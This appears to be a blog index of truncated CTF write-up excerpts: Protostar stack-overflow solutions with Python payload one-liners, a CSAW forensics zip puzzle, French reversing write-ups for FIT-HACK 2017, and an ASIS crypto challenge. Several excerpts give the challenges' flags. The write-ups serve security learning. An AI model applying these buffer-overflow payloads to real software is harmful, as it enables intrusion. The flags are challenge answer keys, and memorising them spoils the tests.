Articles

Protostar - Stack Exploits

Image
Protostar Solutions :  [*] Stack 0 :  The goal of this challenge is to modify the value of the variable  modified [*] Payload => python -c 'print "A"*200' | ./stack0 [*] Stack 1 :  The goal of this challenge is to modify the value of the variable "modified" to  0x61626364 [*] Payload => $(python -c 'print "A"*64+"dcba"') | ./stack1 [*] Stack 2 :  The goal of this challenge is to modify the value of the variable "modified" to  0x0d0a0d0a using the environment variables techniques CMD ==> export GREENIE=$(python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"') [*] Payload => ./stack2 [*] Stack 3 :  Now that we are comfortable with overwriting local variables on the stack, this example challenges you to redirect the execution flow. The executable includes a function  win()  which is not normally called at this address: us...

CSAW CTF 2016 Quals: evidence.zip

CSAW CTF 2016 Quals: evidence.zip Category:  Forensics  Points:  100  Solves:  170  Description: As part of CSAW CTF's ongoing efforts to terminate cheaters with extreme prejudice, we were supposed to have evidence incriminating a handful of teams in this zip file. I do not know what happened, but I do not think the evidence actually made it in there... Write-up string evidence.zip will dump out a bunch of gibberish, but at the end you find something like this: JDzq<ilvf|5'*PK galf out/rxo802ayx4 3ht{ out/zhatnf5maf 1iv_ out/50lshu1ue6 n4i1 out/14o803swdq 3w out/nppjdd2wdg d33n out/e9ydsxwetg rf#_ out/0eetjrxpdm elee out/otuj3jrezt neff out/m70ohrycax out/mpi3z4x5jt out/meoflsxv4v out/8y10tp04b2 out/eui6ltoijl If you put it all together you'll get {neffeleerf#_d33n_3w_n4i11iv_3ht}galf or: Flag Flag:  flag{th3_vi11i4n_w3_n33d_#freeleffen}

{ FIT-HACK#2017 } - Binary 300 - mYFIT

Binary 300 - mYFIT Pour ce dernier challenge, nous avons un programme python compilé. En utilisant  uncompyle2  pour décompiler le code du binaire, on obtient le code source. Ce programme permet aux étudiants et professeurs (admin) myFIT d'accéder aux notes. Une fois connecté sur le serveur, 2 commandes sont disponibles: Une pour se connecter avec son identifiant Une autre pour se connecter en tant que professeur (admin) avec nom d'utilisateur et mot de passe En regardant la fonction, process_admin_command(c) on comprend comment les identifiants d'étudiants sont générés: def process_admin_command ( c ): if c[ 0 ] == ' help ' : print_admin_help() elif c[ 0 ] == ' add ' : sys.stdout.write( ' Name of student to add: ' ) sys.stdout.flush() name = sys.stdin.readline().strip() print ' Enter student \' s grades in the format "Discrete mathematics A", with the class first the...

{ FIT-HACK#2017 } - Binary 200 - Omikuji

Binary 200 - Omikuji Pour ce challenge, nous allons devoir reversé un .jar. C'est parti, on l'ouvre avec jd-gui pour décompiler le code : Et on obtient une fonction flag(): public void flag() { int i = 1024 ; int y = 0 ; String c = " flag " ; byte [] j = { 51 , 32 , 66 , 105 , 108 , 108 , 105 , 111 , 110 , 32 , 68 , 101 , 118 , 105 , 99 , 101 , 115 , 32 , 82 , 117 , 110 , 32 , 74 , 97 , 118 , 97 }; for ( int k = 0 ; k <= 8 ; k ++ ) { y = k + y; } if (y % 2 == 0 ) { k = c + " error " ; } else { k = " 0eba0d68a699907bc3d765072c0735ce " ; } try { MessageDigest md = MessageDigest . getInstance( " SHA-256 " ); md . update(c . getBytes()); byte [] d = md . digest(); StringBuilder sb = new StringBuilder ( 2 * d . length); for ( byte b : d) { sb . append( String . format( " %02x " ...

{ FIT-HACK#2017 } - Binary 100 - Execution

Image
Binary 100 - Execution Pour ce challenge, un fichier nous ai fourni. Avec la commande "file", on voit que l'architecture de ce dernier est de l'ARM. On ouvre le programme avec GDB et on désassemble la fonction main : On peut voir qu'au lancement du programme des octets sont poussés sur la pile : On recupére ces valeurs en héxadecimal, les convertis en ASCII et les concatene : m = [] to_convert = [ ' 49 ' , ' 54 ' , ' 7b ' , ' 33 ' , ' 78 ' , ' 65 ' , ' 63 ' , ' 75 ' , ' 74 ' , ' 69 ' , ' 30 ' , ' 6e ' , ' 5f ' , ' 63 ' , ' 30 ' , ' 6d ' , ' 70 ' , ' 31 ' , ' 65 ' , ' 74 ' , ' 65 ' , ' 7d ' ] for c in to_convert: m.append( chr ( int (c, 16 ))) print ( ' ' .join(m)) On execute et on obtient le flag , sans le "F" du début : IT{3xecuti0n_c0mp1ete} FLAG ...

{ FIT-HACK#2017 } - Binary 100 - Random

Image
Binary 100 - Random Pour ce challenge on a un binaire (ELF 64). On essaie de l'exécuter une première fois, et on voit qu'il y a 10 round, et on suppose qu'à chaque round on doit trouver le nombre aléatoire. On utilise alors GDB pour comprendre le fonctionnement du programme: On peut voir que valeur que l'on entre est comparée à l'instruction qui se trouve à l'adresse 0x0000000000400783 (main+134): On met alors un breakpoint à cette instruction, on démarre le programme et on entre une valeur au hasard. Arrivé au breakpoint, on affiche la valeur en $rbp-0x88 : Pour être sur que la valeur généré par le programme est bien aléatoire, on lance le programme, on entre la même valeur que précédemment et on regarde la valeur en $rbp-0x88 : La valeur est la même! On met alors la valeur dans la variable EAX et on continue le programme. On affiche de nouveaux la valeur de $rbp-0x88 et on l'assigne à EAX. On effectue ces actions pour les 10 rounds e...

{ ASIS CTF 2017 } - Crypto - Unbreakable - 200

Image
ASIS CTF 2017 Quals Writeup: Unbreakable Unbreakable 193 We think this challenge is unbreakable, even for you? Try it now! unbreakable flag.enc.orig For this challenge we are given an executable and an encoded flag. When we run an executable it gives an error: $ ./unbreakable error, input not found Let’s run it with  strace : $ strace ./unbreakable ... open ( "key" , O_RDONLY ) = -1 ENOENT ( No such file or directory ) fstat ( 1, { st_mode = S_IFCHR|0620, st_rdev = makedev ( 136, 0 ) , ... }) = 0 write ( 1, "error, input not found \n " , 23error, input not found ) = 23 exit_group ( 1 ) = ? +++ exited with 1 +++ So it needs a  key  file. When we supply one it encodes it and puts the output into  flag.enc  - so the  key  is not an encryption key, it’s the plaintext that gets encoded. Our job is to reverse the process and decode  flag.enc  we are supplied. Reversin...